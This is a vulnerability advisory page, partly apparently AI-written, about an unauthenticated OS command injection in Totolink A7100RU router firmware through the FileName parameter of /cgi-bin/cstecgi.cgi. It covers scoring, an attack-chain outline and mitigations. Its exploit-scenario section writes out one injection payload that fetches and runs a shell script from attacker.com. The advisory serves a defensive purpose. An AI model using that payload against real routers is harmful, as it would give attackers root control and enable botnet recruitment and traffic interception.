Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessScan internet for exposed management interface
-
DeliverySend crafted HTTP POST to /cgi-bin/cstecgi.cgi
-
ExploitInject OS commands via FileName parameter
-
ExecutionExecute arbitrary code as root
-
PersistInstall persistent backdoor
-
ImpactPivot to connected network devices
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Remote unauthenticated attacker can exploit Totolik A7100RU firmware version 7.4cu.2313_b20191024 by sending a crafted POST request to /cgi-bin/cstecgi.cgi with manipulated FileName parameter in UploadFirmwareFile function. No authentication or user interaction required. |
| Impact | Real-world risk is HIGH to CRITICAL based on multiple converging signals. CVSS 9.8 reflects maximum severity with network attack vector (AV:N), low complexity (AC:L), no privileges required (PR:N), no user interaction (UI:N), and complete impact to confidentiality, integrity, and availability (C:H/I:H/A:H). The CVSS temporal metrics show proof-of-concept exploit exists (E:P) and remediation level unavailable (RL:X), confirming exploitability. Public exploit code exists on GitHub, significantly lowering the skill barrier for attackers and enabling automated scanning/exploitation. The unauthenticated remote attack vector means any internet-exposed device is vulnerable without requiring credentials or social engineering. While EPSS probability is not provided and no CISA KEV listing confirms active exploitation campaigns, the combination of critical impact, trivial exploitation requirements, public POC availability, and the high-value target nature of network infrastructure devices creates substantial real-world risk. Router vulnerabilities are frequently targeted for botnet recruitment, traffic interception, and lateral movement into connected networks. The absence of vendor patch information (RL:X) extends exposure window indefinitely for deployed devices. |
| Exploit ScenarioDerived | An unauthenticated remote attacker scans internet-facing IP ranges for Totolink A7100RU routers exposing the web management interface on standard HTTP/HTTPS ports. Upon identifying a vulnerable device, the attacker crafts a malicious HTTP POST request to /cgi-bin/cstecgi.cgi targeting the UploadFirmwareFile function, injecting shell metacharacters into the FileName parameter such as '; wget http://attacker.com/malware.sh -O /tmp/m; sh /tmp/m;'. The vulnerable CGI handler executes this injected command with root privileges, downloading and executing attacker-controlled malware that establishes persistent backdoor access, modifies DNS settings to redirect traffic, or recruits the device into a DDoS botnet. Public exploit code exists on GitHub, enabling script-kiddie level attackers to automate mass exploitation. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 13, 2026
OS command injection in Totolink A7100RU router firmware 7.4cu.2313_b20191024 allows unauthenticated remote attackers to execute arbitrary system commands via crafted FileName parameter to the UploadFirmwareFile function in /cgi-bin/cstecgi.cgi. CVSS 9.8 (Critical) with network attack vector, no privileges required, and complete system compromise possible. Publicly available exploit code exists (GitHub POC). No vendor-released patch identified at time of analysis. EPSS data not provided, but combination of critical CVSS, unauthenticated remote vector, and public exploit indicates high real-world exploitation risk.
RemediationAI
No vendor-released patch identified at time of analysis for Totolink A7100RU firmware 7.4cu.2313_b20191024. Users should immediately check the official Totolink support site (https://www.totolink.net/) for updated firmware releases that address this command injection vulnerability. As interim mitigation, disable remote administration access to the router's web interface, restrict management access to trusted internal IP addresses only via firewall rules or access control lists, and place the device behind additional network segmentation if possible. Consider replacing the affected device with alternative hardware if vendor support is discontinued or patches remain unavailable. Monitor network traffic for suspicious requests to /cgi-bin/cstecgi.cgi endpoint and implement intrusion detection signatures to detect exploitation attempts. Detailed technical analysis and exploit proof-of-concept are documented at https://github.com/Litengzheng/vuldb_new/blob/main/A7100RU/vul_193/README.md and additional vulnerability intelligence available at https://vuldb.com/vuln/357004.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This vulnerability affects the CGI handler component of Totolink A7100RU wireless router firmware, specifically the UploadFirmwareFile function invoked through the /cgi-bin/cstecgi.cgi endpoint. The root cause is CWE-78 (OS Command Injection), occurring when the application fails to properly sanitize the FileName parameter before passing it to system shell commands. When processing firmware upload requests, the CGI handler likely constructs shell commands using attacker-controlled input without adequate validation or escaping. This allows injection of shell metacharacters or command separators that break out of the intended command context and execute arbitrary OS commands with the privileges of the web server process, typically running as root on embedded router platforms. The affected product is identified by CPE cpe:2.3:a:totolink:a7100ru:*:*:*:*:*:*:*:*, specifically version 7.4cu.2313_b20191024 released October 24, 2019.
Know when A7100Ru gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
Primary rating from Vendor (VulDB) · only source for this CVE.
CVSS VectorVendor: VulDB
Lifecycle Timeline
4DescriptionCVE.org
A vulnerability was found in Totolink A7100RU 7.4cu.2313_b20191024. This impacts the function UploadFirmwareFile of the file /cgi-bin/cstecgi.cgi of the component CGI Handler. Performing a manipulation of the argument FileName results in os command injection. The attack may be initiated remotely. The exploit has been made public and could be used.
Executive ViewAI
Totolik A7100RU routers running firmware 7.4cu.2313_b20191024 are vulnerable to unauthenticated remote command execution through the firmware upload function, allowing attackers to gain complete control of affected devices without authentication. This poses immediate risk to all organizations deploying these routers, as publicly available exploit code exists and no vendor patch is currently available. Affected routers should be treated as compromised until remediated, potentially exposing internal networks and connected systems to unauthorized access.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict network access to the /cgi-bin/cstecgi.cgi endpoint via firewall rules, blocking inbound HTTP/HTTPS to affected devices except from authorized administrative IPs; (2) Disable remote management features and web-based firmware upload if business operations permit; (3) Monitor affected devices for suspicious command execution and network connections; (4) Implement network segmentation to isolate router management interfaces; (5) Consider temporary replacement with patched alternative routers pending vendor remediation.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Related Vulnerabilities in Totolink A7100RU CGI Handler Command Injection
View all 6Command injection in Totolink A7100RU router firmware 7.4cu.2313_b20191024 allows unauthenticated remote attackers to ex
OS command injection in Totolink A7100RU router firmware 7.4cu.2313_b20191024 allows unauthenticated remote attackers to
OS command injection in Totolink A7100RU router version 7.4cu.2313_b20191024 allows unauthenticated remote attackers to
OS command injection in Totolink A7100RU router firmware 7.4cu.2313_b20191024 allows unauthenticated remote attackers to
OS command injection in Totolink A7100RU router firmware (version 7.4cu.2313_b20191024) allows unauthenticated remote at
OS command injection in Totolink A7100RU router version 7.4cu.2313_b20191024 allows unauthenticated remote attackers to
OS command injection in Totolink A7100RU router version 7.4cu.2313_b20191024 allows unauthenticated remote attackers to
EUVD-2026-21766
GHSA-qq79-56j7-gmq4
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB